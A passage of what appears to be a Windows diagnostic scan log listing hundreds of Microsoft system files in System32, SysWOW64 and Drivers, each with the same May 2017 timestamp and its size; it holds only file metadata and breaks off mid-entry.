2017-05-16 17:21 - 2017-05-16 17:21 - 04730368 _____ (Microsoft Corporation) C:\WINDOWS\system32\jscript9.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 04559360 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\dbgeng.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 04544000 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\VsGraphicsDesktopEngine.exe 2017-05-16 17:21 - 2017-05-16 17:21 - 04469832 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\explorer.exe 2017-05-16 17:21 - 2017-05-16 17:21 - 04446208 _____ (Microsoft Corporation) C:\WINDOWS\system32\SettingsHandlers_nt.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 04396032 _____ (Microsoft Corporation) C:\WINDOWS\system32\D3DCompiler_47.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 04175872 _____ (Microsoft Corporation) C:\WINDOWS\system32\StartTileData.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 03672064 _____ (Microsoft Corporation) C:\WINDOWS\system32\win32kfull.sys 2017-05-16 17:21 - 2017-05-16 17:21 - 03667456 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\D3DCompiler_47.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 03655680 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\jscript9.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 03307008 _____ (Microsoft Corporation) C:\WINDOWS\system32\wininet.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 03116184 _____ (Microsoft Corporation) C:\WINDOWS\system32\combase.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 02969880 _____ (Microsoft Corporation) C:\WINDOWS\system32\CoreUIComponents.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 02957824 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\win32kfull.sys 2017-05-16 17:21 - 2017-05-16 17:21 - 02859520 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wininet.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 02800128 _____ (Microsoft Corporation) C:\WINDOWS\system32\AppXDeploymentServer.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 02765824 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.Shell.UnifiedTile.CuratedTileCollections.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 02651648 _____ (Microsoft Corporation) C:\WINDOWS\system32\dwmcore.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 02635336 _____ (Microsoft Corporation) C:\WINDOWS\system32\iertutil.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 02617344 _____ (Microsoft Corporation) C:\WINDOWS\system32\d3d12SDKLayers.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 02499584 _____ (Microsoft Corporation) C:\WINDOWS\system32\twinui.pcshell.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 02444192 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\dxgkrnl.sys 2017-05-16 17:21 - 2017-05-16 17:21 - 02443776 _____ (Microsoft Corporation) C:\WINDOWS\system32\wuaueng.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 02435584 _____ (Microsoft Corporation) C:\WINDOWS\system32\ResetEngine.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 02399728 _____ (Microsoft Corporation) C:\WINDOWS\system32\KernelBase.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 02330520 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\combase.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 02298880 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\dwmcore.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 02259760 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\CoreUIComponents.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 02158544 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\iertutil.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 02102272 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\d3d12SDKLayers.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 02085280 _____ (Microsoft Corporation) C:\WINDOWS\system32\UpdateAgent.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 02077184 _____ (Microsoft Corporation) C:\WINDOWS\system32\inetcpl.cpl 2017-05-16 17:21 - 2017-05-16 17:21 - 02056192 _____ (Microsoft Corporation) C:\WINDOWS\system32\win32kbase.sys 2017-05-16 17:21 - 2017-05-16 17:21 - 02008576 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\inetcpl.cpl 2017-05-16 17:21 - 2017-05-16 17:21 - 01886208 _____ (Microsoft Corporation) C:\WINDOWS\system32\AppXDeploymentExtensions.onecore.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01878016 _____ (Microsoft Corporation) C:\WINDOWS\system32\AzureSettingSyncProvider.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01854880 _____ (Microsoft Corporation) C:\WINDOWS\system32\AppVEntVirtualization.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01852776 _____ (Microsoft Corporation) C:\WINDOWS\system32\crypt32.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01839872 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\KernelBase.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01803264 _____ (Microsoft Corporation) C:\WINDOWS\system32\urlmon.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01760264 _____ (Microsoft Corporation) C:\WINDOWS\system32\WindowsCodecs.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01657344 _____ (Microsoft Corporation) C:\WINDOWS\system32\XpsPrint.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01652736 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\vmswitch.sys 2017-05-16 17:21 - 2017-05-16 17:21 - 01628160 _____ (Microsoft Corporation) C:\WINDOWS\system32\comsvcs.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01626624 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\urlmon.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01611776 _____ (Microsoft Corporation) C:\WINDOWS\system32\SpeechPal.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01605632 _____ (Microsoft Corporation) C:\WINDOWS\system32\quartz.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01604312 _____ (Microsoft Corporation) C:\WINDOWS\system32\gdi32full.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01600512 _____ (Microsoft Corporation) C:\WINDOWS\system32\dbghelp.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01583616 _____ (Microsoft Corporation) C:\WINDOWS\system32\ieapfltr.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01557288 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\crypt32.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01518088 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\WindowsCodecs.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01506816 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\quartz.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01468416 _____ (Microsoft Corporation) C:\WINDOWS\system32\AppXDeploymentExtensions.desktop.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01463296 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ieapfltr.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01452960 _____ (Microsoft Corporation) C:\WINDOWS\system32\AppVEntSubsystemController.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01433600 _____ (Microsoft Corporation) C:\WINDOWS\system32\SystemSettings.Handlers.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01411128 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\gdi32full.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01356800 _____ (Microsoft Corporation) C:\WINDOWS\system32\audiosrv.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01325456 _____ (Microsoft Corporation) C:\WINDOWS\system32\ole32.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01320352 _____ (Microsoft Corporation) C:\WINDOWS\system32\wpx.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01302528 _____ (Microsoft Corporation) C:\WINDOWS\system32\MSVPXENC.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01295872 _____ (Microsoft Corporation) C:\WINDOWS\system32\dosvc.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01293824 _____ (Microsoft Corporation) C:\WINDOWS\system32\aadtb.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01291776 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\MSVPXENC.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01285120 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\dbghelp.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01269760 _____ (Microsoft Corporation) C:\WINDOWS\system32\enterprisecsps.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01260544 _____ (Microsoft Corporation) C:\WINDOWS\system32\GamePanel.exe 2017-05-16 17:21 - 2017-05-16 17:21 - 01257472 _____ (Microsoft Corporation) C:\WINDOWS\system32\wpnapps.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01248768 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\AzureSettingSyncProvider.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01242624 _____ (Microsoft Corporation) C:\WINDOWS\system32\SharedStartModel.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01147296 _____ (Microsoft Corporation) C:\WINDOWS\system32\hvix64.exe 2017-05-16 17:21 - 2017-05-16 17:21 - 01103872 _____ (Microsoft Corporation) C:\WINDOWS\system32\SettingSyncCore.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01087488 _____ (Microsoft Corporation) C:\WINDOWS\system32\reseteng.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01085440 _____ (Microsoft Corporation) C:\WINDOWS\system32\rpcss.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01075712 _____ (Microsoft Corporation) C:\WINDOWS\system32\StoreAgent.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01060352 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\XpsPrint.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01054208 _____ (Microsoft Corporation) C:\WINDOWS\system32\TokenBroker.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01051648 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.UI.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01027584 _____ (Microsoft Corporation) C:\WINDOWS\system32\modernexecserver.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 01024416 _____ (Microsoft Corporation) C:\WINDOWS\system32\hvax64.exe 2017-05-16 17:21 - 2017-05-16 17:21 - 01019904 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\aadtb.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00988168 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ole32.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00987648 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wpnapps.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00985600 _____ (Microsoft Corporation) C:\WINDOWS\system32\TSWorkspace.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00974848 _____ (Microsoft Corporation) C:\WINDOWS\system32\mmgaserver.exe 2017-05-16 17:21 - 2017-05-16 17:21 - 00970240 _____ (Microsoft Corporation) C:\WINDOWS\system32\autochk.exe 2017-05-16 17:21 - 2017-05-16 17:21 - 00925696 _____ (Microsoft Corporation) C:\WINDOWS\system32\WpcWebFilter.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00923040 _____ (Microsoft Corporation) C:\WINDOWS\system32\CoreMessaging.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00909312 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\SettingSyncCore.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00891904 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\autochk.exe 2017-05-16 17:21 - 2017-05-16 17:21 - 00872472 _____ (Microsoft Corporation) C:\WINDOWS\system32\ClipSVC.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00864256 _____ (Microsoft Corporation) C:\WINDOWS\system32\NotificationController.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00840192 _____ (Microsoft Corporation) C:\WINDOWS\system32\fveapi.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00806400 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\StoreAgent.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00805888 _____ (Microsoft Corporation) C:\WINDOWS\system32\ieproxy.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00799232 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\TokenBroker.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00790528 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.UI.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00775824 _____ (Microsoft Corporation) C:\WINDOWS\system32\oleaut32.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00751104 _____ (Microsoft Corporation) C:\WINDOWS\system32\msfeeds.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00750560 _____ (Microsoft Corporation) C:\WINDOWS\system32\fontdrvhost.exe 2017-05-16 17:21 - 2017-05-16 17:21 - 00750080 _____ (Microsoft Corporation) C:\WINDOWS\system32\StorSvc.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00741784 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.Internal.Shell.Broker.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00731136 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mmgaserver.exe 2017-05-16 17:21 - 2017-05-16 17:21 - 00722944 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\srv2.sys 2017-05-16 17:21 - 2017-05-16 17:21 - 00716440 _____ (Microsoft Corporation) C:\WINDOWS\system32\MSVideoDSP.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00712600 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\dxgmms2.sys 2017-05-16 17:21 - 2017-05-16 17:21 - 00708712 _____ (Microsoft Corporation) C:\WINDOWS\system32\kernel32.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00707072 _____ (Microsoft Corporation) C:\WINDOWS\system32\winlogon.exe 2017-05-16 17:21 - 2017-05-16 17:21 - 00687104 _____ (Microsoft Corporation) C:\WINDOWS\system32\LogonController.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00681984 _____ (Microsoft Corporation) C:\WINDOWS\system32\usocore.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00673280 _____ (Microsoft Corporation) C:\WINDOWS\system32\LockAppBroker.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00673112 _____ (Microsoft Corporation) C:\WINDOWS\system32\AppResolver.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00667040 _____ (Microsoft Corporation) C:\WINDOWS\system32\ci.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00663040 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\msfeeds.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00651680 _____ (Microsoft Corporation) C:\WINDOWS\system32\SettingSyncHost.exe 2017-05-16 17:21 - 2017-05-16 17:21 - 00647168 _____ (Microsoft Corporation) C:\WINDOWS\system32\RDXService.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00646656 _____ (Microsoft Corporation) C:\WINDOWS\system32\LockHostingFramework.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00636416 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\WpcWebFilter.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00626520 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\fontdrvhost.exe 2017-05-16 17:21 - 2017-05-16 17:21 - 00624640 _____ (Microsoft Corporation) C:\WINDOWS\system32\AudioEndpointBuilder.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00605936 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\oleaut32.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00599576 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\kernel32.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00590848 _____ (Microsoft Corporation) C:\WINDOWS\system32\vbscript.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00585728 _____ (Microsoft Corporation) C:\WINDOWS\system32\OneDriveSettingSyncProvider.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00584192 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\UIRibbonRes.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00584192 _____ (Microsoft Corporation) C:\WINDOWS\system32\UIRibbonRes.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00583160 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\CoreMessaging.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00559000 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\SettingSyncHost.exe 2017-05-16 17:21 - 2017-05-16 17:21 - 00545792 _____ (Microsoft Corporation) C:\WINDOWS\system32\winspool.drv 2017-05-16 17:21 - 2017-05-16 17:21 - 00543640 _____ (Microsoft Corporation) C:\WINDOWS\system32\securekernel.exe 2017-05-16 17:21 - 2017-05-16 17:21 - 00527360 _____ (Microsoft Corporation) C:\WINDOWS\system32\aadcloudap.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00524800 _____ (Microsoft Corporation) C:\WINDOWS\system32\TileDataRepository.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00523296 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\AppResolver.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00517632 _____ (Microsoft Corporation) C:\WINDOWS\system32\daxexec.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00510976 _____ (Microsoft Corporation) C:\WINDOWS\system32\TDLMigration.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00507392 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\vbscript.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00476672 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\OneDriveSettingSyncProvider.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00457728 _____ (Microsoft Corporation) C:\WINDOWS\system32\webplatstorageserver.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00450048 _____ (Microsoft Corporation) C:\WINDOWS\system32\bcdedit.exe 2017-05-16 17:21 - 2017-05-16 17:21 - 00433664 _____ (Microsoft Corporation) C:\WINDOWS\system32\msIso.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00429568 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\winspool.drv 2017-05-16 17:21 - 2017-05-16 17:21 - 00422400 _____ (Microsoft Corporation) C:\WINDOWS\system32\WpAXHolder.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00416256 _____ (Microsoft Corporation) C:\WINDOWS\system32\InstallAgentUserBroker.exe 2017-05-16 17:21 - 2017-05-16 17:21 - 00414208 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\srv.sys 2017-05-16 17:21 - 2017-05-16 17:21 - 00409600 _____ (Microsoft Corporation) C:\WINDOWS\system32\updatehandlers.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00409504 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\dxgmms1.sys 2017-05-16 17:21 - 2017-05-16 17:21 - 00406528 _____ (Microsoft Corporation) C:\WINDOWS\system32\InputSwitch.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00392704 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\PlayToManager.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00388000 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\USBXHCI.SYS 2017-05-16 17:21 - 2017-05-16 17:21 - 00387928 _____ (Microsoft Corporation) C:\WINDOWS\system32\wmpps.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00386560 _____ (Microsoft Corporation) C:\WINDOWS\system32\iedkcs32.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00382368 _____ (Adobe Systems Incorporated) C:\WINDOWS\system32\atmfd.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00373760 _____ (Microsoft Corporation) C:\WINDOWS\system32\InstallAgent.exe 2017-05-16 17:21 - 2017-05-16 17:21 - 00367104 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\InstallAgentUserBroker.exe 2017-05-16 17:21 - 2017-05-16 17:21 - 00364032 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\msIso.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00362496 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\daxexec.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00358400 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ieproxy.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00354360 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\bcryptprimitives.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00354304 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\InputSwitch.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00347136 _____ (Microsoft Corporation) C:\WINDOWS\system32\XpsDocumentTargetPrint.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00338432 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\iedkcs32.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00334336 _____ (Microsoft Corporation) C:\WINDOWS\system32\wc_storage.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00329728 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\webplatstorageserver.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00328704 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\InstallAgent.exe 2017-05-16 17:21 - 2017-05-16 17:21 - 00315392 _____ (Microsoft Corporation) C:\WINDOWS\system32\NotificationObjFactory.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00314880 _____ (Microsoft Corporation) C:\WINDOWS\system32\SettingsEnvironment.Desktop.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00311192 _____ (Adobe Systems Incorporated) C:\WINDOWS\SysWOW64\atmfd.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00301056 _____ (Microsoft Corporation) C:\WINDOWS\system32\EnterpriseAppMgmtSvc.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00296448 _____ (Microsoft Corporation) C:\WINDOWS\system32\CloudBackupSettings.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00282112 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\VEEventDispatcher.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00280064 _____ (Microsoft Corporation) C:\WINDOWS\system32\WiFiDisplay.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00275456 _____ (Microsoft Corporation) C:\WINDOWS\system32\vmusrv.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00274944 _____ (Microsoft Corporation) C:\WINDOWS\system32\dxtrans.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00266240 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\dxtrans.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00257024 _____ (Microsoft Corporation) C:\WINDOWS\system32\webcheck.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00252928 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\XpsDocumentTargetPrint.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00251904 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.Gaming.Preview.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00246272 _____ (Microsoft Corporation) C:\WINDOWS\system32\domgmt.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00233472 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\WiFiDisplay.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00232960 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\webcheck.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00232960 _____ (Microsoft Corporation) C:\WINDOWS\system32\wcmcsp.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00232448 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\CloudBackupSettings.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00224256 _____ (Microsoft Corporation) C:\WINDOWS\system32\ie4uinit.exe 2017-05-16 17:21 - 2017-05-16 17:21 - 00218624 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.Media.Streaming.ps.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00208896 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.UI.AppDefaults.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00207264 _____ (Microsoft Corporation) C:\WINDOWS\system32\browserbroker.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00203776 _____ (Microsoft Corporation) C:\WINDOWS\system32\PackageStateRoaming.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00175616 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\PackageStateRoaming.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00164864 _____ (Microsoft Corporation) C:\WINDOWS\system32\EnterpriseModernAppMgmtCSP.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00155136 _____ (Microsoft Corporation) C:\WINDOWS\system32\VEStoreEventHandlers.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00142240 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\wcifs.sys 2017-05-16 17:21 - 2017-05-16 17:21 - 00140288 _____ (Microsoft Corporation) C:\WINDOWS\system32\iepeers.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00128000 _____ (Microsoft Corporation) C:\WINDOWS\system32\mssprxy.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00124928 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\iepeers.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00120320 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\storvsp.sys 2017-05-16 17:21 - 2017-05-16 17:21 - 00119296 _____ (Microsoft Corporation) C:\WINDOWS\system32\UserDataTimeUtil.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00118784 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\netvsc.sys 2017-05-16 17:21 - 2017-05-16 17:21 - 00105456 _____ (Microsoft Corporation) C:\WINDOWS\system32\imagehlp.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00096256 _____ (Microsoft Corporation) C:\WINDOWS\system32\mshtmled.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00095584 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\imagehlp.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00094720 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\UserDataTimeUtil.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00091648 _____ (Microsoft Corporation) C:\WINDOWS\system32\mfmjpegdec.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00090112 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\vpcivsp.sys 2017-05-16 17:21 - 2017-05-16 17:21 - 00089088 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\olepro32.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00087552 _____ (Microsoft Corporation) C:\WINDOWS\system32\asycfilt.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00084992 _____ (Microsoft Corporation) C:\WINDOWS\system32\MshtmlDac.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00082944 _____ (Microsoft Corporation) C:\WINDOWS\system32\tdc.ocx 2017-05-16 17:21 - 2017-05-16 17:21 - 00081408 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mfmjpegdec.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00080384 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mshtmled.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00078848 _____ (Microsoft Corporation) C:\WINDOWS\system32\offreg.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00078336 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\asycfilt.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00072192 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\tdc.ocx 2017-05-16 17:21 - 2017-05-16 17:21 - 00064512 _____ (Microsoft Corporation) C:\WINDOWS\system32\winsrv.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00057856 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\offreg.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00056832 _____ (Microsoft Corporation) C:\WINDOWS\system32\cldapi.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00052736 _____ (Microsoft Corporation) C:\WINDOWS\system32\musdialoghandlers.dll 2017-05-16 17:21 - 